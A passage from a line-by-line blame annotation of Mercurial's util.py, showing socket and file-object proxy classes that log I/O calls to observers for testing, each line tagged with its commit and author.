3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	631
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	632 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	633 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	634 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	635 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	636
43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	637 fn = getattr(self._input._observer, 'bufferedread', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	638 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	639 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	640
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	641 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	642
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	643 def readline(self, args, *kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	644 res = super(observedbufferedinputpipe, self).readline(args, *kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	645
43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	646 fn = getattr(self._input._observer, 'bufferedreadline', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	647 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	648 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	649
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	650 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	651
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	652
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	653 PROXIED_SOCKET_METHODS = {
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	654 r'makefile',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	655 r'recv',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	656 r'recvfrom',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	657 r'recvfrom_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	658 r'recv_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	659 r'send',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	660 r'sendall',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	661 r'sendto',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	662 r'setblocking',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	663 r'settimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	664 r'gettimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	665 r'setsockopt',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	666 }
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	667
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	668
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	669 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	670 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	671
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	672 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	673
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	674 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	675 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	676 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	677
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	678 __slots__ = (
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	679 r'_orig',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	680 r'_observer',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	681 )
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	682
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	683 def __init__(self, sock, observer):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	684 object.__setattr__(self, r'_orig', sock)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	685 object.__setattr__(self, r'_observer', observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	686
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	687 def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	688 if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	689 return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	690
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	691 return getattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	692
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	693 def __delattr__(self, name):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	694 return delattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	695
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	696 def __setattr__(self, name, value):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	697 return setattr(object.__getattribute__(self, r'_orig'), name, value)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	698
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	699 def __nonzero__(self):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	700 return bool(object.__getattribute__(self, r'_orig'))
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	701
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	702 __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	703
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	704 def _observedcall(self, name, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	705 # Call the original object.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	706 orig = object.__getattribute__(self, r'_orig')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	707 res = getattr(orig, name)(args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	708
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	709 # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	710 # so it can react, log, etc.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	711 observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	712 fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	713 if fn:
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	714 fn(res, args, *kwargs)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	715
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	716 return res
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	717
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	718 def makefile(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	719 res = object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	720 r'makefile', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	721 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	722
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	723 # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	724 # proxy using our observer.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	725 observer = object.__getattribute__(self, r'_observer')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	726 return makeloggingfileobject(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	727 observer.fh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	728 res,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	729 observer.name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	730 reads=observer.reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	731 writes=observer.writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	732 logdata=observer.logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	733 logdataapis=observer.logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	734 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	735
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	736 def recv(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	737 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	738 r'recv', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	739 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	740
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	741 def recvfrom(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	742 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	743 r'recvfrom', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	744 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	745
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	746 def recvfrom_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	747 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	748 r'recvfrom_into', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	749 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	750
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	751 def recv_into(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	752 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	753 r'recv_info', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	754 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	755
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	756 def send(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	757 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	758 r'send', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	759 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	760
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	761 def sendall(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	762 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	763 r'sendall', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	764 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	765
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	766 def sendto(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	767 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	768 r'sendto', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	769 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	770
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	771 def setblocking(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	772 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	773 r'setblocking', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	774 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	775
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	776 def settimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	777 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	778 r'settimeout', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	779 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	780
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	781 def gettimeout(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	782 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	783 r'gettimeout', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	784 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	785
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	786 def setsockopt(self, args, *kwargs):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	787 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	788 r'setsockopt', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	789 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	790
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	791
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	792 class baseproxyobserver(object):
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	793 def _writedata(self, data):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	794 if not self.logdata:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	795 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	796 self.fh.write(b'\n')
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	797 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	798 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	799
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	800 # Simple case writes all data on a single line.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	801 if b'\n' not in data:
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	802 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	803 self.fh.write(b': %s\n' % stringutil.escapestr(data))
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	804 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	805 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	806 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	807 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	808 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	809 return
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	810
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	811 # Data with newlines is written to multiple lines.
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	812 if self.logdataapis:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	813 self.fh.write(b':\n')
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	814
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	815 lines = data.splitlines(True)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	816 for line in lines:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	817 self.fh.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	818 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	819 )
36994 d683c7367989 wireproto: explicitly flush stdio to prevent stalls on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 36964 diff changeset	820 self.fh.flush()
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	821
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	822
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	823 class fileobjectobserver(baseproxyobserver):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	824 """Logs file object activity."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	825
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	826 def __init__(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	827 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	828 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	829 self.fh = fh
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	830 self.name = name
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	831 self.logdata = logdata
37047 d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer Gregory Szorc <gregory.szorc@gmail.com> parents: 37013 diff changeset	832 self.logdataapis = logdataapis
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	833 self.reads = reads
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	834 self.writes = writes
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	835
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	836 def read(self, res, size=-1):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	837 if not self.reads:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	838 return
36614 26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	839 # Python 3 can return None from reads at EOF instead of empty strings.
26a6b62919e2 util: work around Python 3 returning None at EOF instead of '' Augie Fackler <augie@google.com> parents: 36613 diff changeset	840 if res is None:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	841 res = b''
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	842
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	843 if size == -1 and res == b'':
38323 565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	844 # Suppress pointless read(-1) calls that return
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	845 # nothing. These happen _a lot_ on Python 3, and there
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	846 # doesn't seem to be a better workaround to have matching
565074cc9ac6 tests: suppress read(-1) -> '' calls in fileobjectobserver Augie Fackler <augie@google.com> parents: 38197 diff changeset	847 # Python 2 and 3 behavior. :(
